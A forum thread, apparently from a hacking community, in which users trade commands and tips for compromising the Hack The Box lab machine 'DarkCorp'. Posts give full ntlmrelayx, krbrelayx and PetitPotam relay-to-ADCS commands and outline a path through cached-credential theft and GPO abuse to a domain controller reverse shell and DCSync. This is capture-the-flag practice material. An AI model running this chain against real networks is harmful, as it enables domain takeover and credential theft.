Posts: 9
Threads: 0
Joined: Jul 2024
Feb 14, 2025, 10:33 AM
(This post was last modified: Feb 14, 2025, 10:37 AM by sly.)
(Feb 13, 2025, 10:49 PM)potato_moose Wrote: Did anyone manage to get krbrelayx working?
PetitPotam says 'Attack worked', but no certs dumped.
Would be grateful for any help.
maybe it's an issue with the dns record? kinda hard to help without the commands you issued for that part. could be a lot of things...
(Feb 14, 2025, 05:42 AM)kingg Wrote: (Feb 13, 2025, 06:29 PM)0bfusc8 Wrote: bloodhound-python seems to be an issue with htb free only as it worked on my premium vpn account
I am too using premium account. I can get ldap data but when I try to get data for bloodhound it throws errors
maybe try rusthound? never had luck with bloodhound-python 
Posts: 46
Threads: 2
Joined: Feb 2024
Feb 14, 2025, 06:37 PM
(This post was last modified: Feb 14, 2025, 06:43 PM by valentinbvro.)
thank you for the work and you bringt to us!!!!!!!!!!!
thanks for sharing!!!
Posts: 42
Threads: 1
Joined: Oct 2024
(Feb 14, 2025, 10:33 AM)sly Wrote: (Feb 13, 2025, 10:49 PM)potato_moose Wrote: Did anyone manage to get krbrelayx working?
PetitPotam says 'Attack worked', but no certs dumped.
Would be grateful for any help.
maybe it's an issue with the dns record? kinda hard to help without the commands you issued for that part. could be a lot of things...
(Feb 14, 2025, 05:42 AM)kingg Wrote: (Feb 13, 2025, 06:29 PM)0bfusc8 Wrote: bloodhound-python seems to be an issue with htb free only as it worked on my premium vpn account
I am too using premium account. I can get ldap data but when I try to get data for bloodhound it throws errors
maybe try rusthound? never had luck with bloodhound-python
At first I did:
ntlmrelayx.py -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.XX.XX
It presumably went well, since the execution log was "Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`."
But then "krbrelayx.py -t '<https://dc-01.darkcorp.htb/certsrv/certfnsh.asp>' --adcs -v 'WEB-01$''
and
"PetitPotam.py -u victor.r -p 'XXXXXXX' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' WEB-01.darkcorp.htb"
give nothing, though PetitPotam says "attack worked!"
Posts: 36
Threads: 1
Joined: Jun 2023
Feb 14, 2025, 08:38 PM
(This post was last modified: Feb 14, 2025, 08:43 PM by v3701.)
(Feb 14, 2025, 07:06 PM)potato_moose Wrote: (Feb 14, 2025, 10:33 AM)sly Wrote: (Feb 13, 2025, 10:49 PM)potato_moose Wrote: Did anyone manage to get krbrelayx working?
PetitPotam says 'Attack worked', but no certs dumped.
Would be grateful for any help.
maybe it's an issue with the dns record? kinda hard to help without the commands you issued for that part. could be a lot of things...
(Feb 14, 2025, 05:42 AM)kingg Wrote: (Feb 13, 2025, 06:29 PM)0bfusc8 Wrote: bloodhound-python seems to be an issue with htb free only as it worked on my premium vpn account
I am too using premium account. I can get ldap data but when I try to get data for bloodhound it throws errors
maybe try rusthound? never had luck with bloodhound-python
At first I did:
ntlmrelayx.py -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.XX.XX
It presumably went well, since the execution log was "Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`."
But then "krbrelayx.py -t '<https://dc-01.darkcorp.htb/certsrv/certfnsh.asp>' --adcs -v 'WEB-01$''
and
"PetitPotam.py -u victor.r -p 'XXXXXXX' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' WEB-01.darkcorp.htb"
give nothing, though PetitPotam says "attack worked!"
on petitepotam listner you should use something like : `NetBiosHost@80/test.txt`, where 80 is the port for krbrelayx's http listener, so you can leverage an HTTP connection to kerberos connection.
but I still fighting this point too, idk why web-01 can't resolve the listener, meanwhile, the drip machine can resolve it after a curl request
(Feb 14, 2025, 07:06 PM)potato_moose Wrote: (Feb 14, 2025, 10:33 AM)sly Wrote: (Feb 13, 2025, 10:49 PM)potato_moose Wrote: Did anyone manage to get krbrelayx working?
PetitPotam says 'Attack worked', but no certs dumped.
Would be grateful for any help.
maybe it's an issue with the dns record? kinda hard to help without the commands you issued for that part. could be a lot of things...
(Feb 14, 2025, 05:42 AM)kingg Wrote: (Feb 13, 2025, 06:29 PM)0bfusc8 Wrote: bloodhound-python seems to be an issue with htb free only as it worked on my premium vpn account
I used this article as reference : <https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/authentication-coercion>
but with no result, Idk where or what I did wrong
I am too using premium account. I can get ldap data but when I try to get data for bloodhound it throws errors
maybe try rusthound? never had luck with bloodhound-python
At first I did:
ntlmrelayx.py -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.XX.XX
It presumably went well, since the execution log was "Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`."
But then "krbrelayx.py -t '<https://dc-01.darkcorp.htb/certsrv/certfnsh.asp>' --adcs -v 'WEB-01$''
and
"PetitPotam.py -u victor.r -p 'XXXXXXX' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' WEB-01.darkcorp.htb"
give nothing, though PetitPotam says "attack worked!"
Posts: 124
Threads: 1
Joined: Apr 2024
This worked for me:
ntlmrelayx.py -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.XX.XX
krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs -v 'WEB-01$''
PetitPotam.py -u victor.r -p 'XXXXXXX' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' WEB-01.darkcorp.htb
so what is intended part to root from user?
Posts: 42
Threads: 1
Joined: Oct 2024
(Feb 14, 2025, 10:05 PM)jsvensson Wrote: This worked for me:
ntlmrelayx.py -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.XX.XX
krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs -v 'WEB-01$''
PetitPotam.py -u victor.r -p 'XXXXXXX' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' WEB-01.darkcorp.htb
so what is intended part to root from user?
Abusing SecurityUpdates GPO with PowerGPOAbuse
Posts: 36
Threads: 1
Joined: Jun 2023
(Feb 15, 2025, 12:04 AM)potato_moose Wrote: (Feb 14, 2025, 10:05 PM)jsvensson Wrote: This worked for me:
ntlmrelayx.py -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.XX.XX
krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs -v 'WEB-01$''
PetitPotam.py -u victor.r -p 'XXXXXXX' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' WEB-01.darkcorp.htb
so what is intended part to root from user?
Abusing SecurityUpdates GPO with PowerGPOAbuse
but what before, I mean, we just got admin on web-01
Posts: 38
Threads: 1
Joined: Mar 2024
For the interested ones, root path (one of the intended, it seems like there are 2 possible paths):
- After rooting web-01, abuse userPrincipalname to login into linux box as an admin: https://www.pentestpartners.com/security...os-stacks/
- SSSD misconfigured caching credentials, look in google sssd creds, first result is a script to retrieve cached credentials
- Crack the password (you'll get taylor.b.adm password)
- Continue from here with GPO abuse: pyGPOAbuse to run task on DC and obtain a reverse shell and DCSync
Posts: 124
Threads: 1
Joined: Apr 2024
(Feb 15, 2025, 12:54 AM)spamdegratis5 Wrote: For the interested ones, root path (one of the intended, it seems like there are 2 possible paths):
- After rooting web-01, abuse userPrincipalname to login into linux box as an admin: https://www.pentestpartners.com/security...os-stacks/
- SSSD misconfigured caching credentials, look in google sssd creds, first result is a script to retrieve cached credentials
- Crack the password (you'll get taylor.b.adm password)
- Continue from here with GPO abuse: pyGPOAbuse to run task on DC and obtain a reverse shell and DCSync
how we could change userPrincipalname to abuse it and get tgt as taylor.b.adm and login with ssh?
i tried but can't find a way to do it
Posts: 9
Threads: 0
Joined: Feb 2025
HOW DID u Get the info that bcase@drip.htb exists?
|
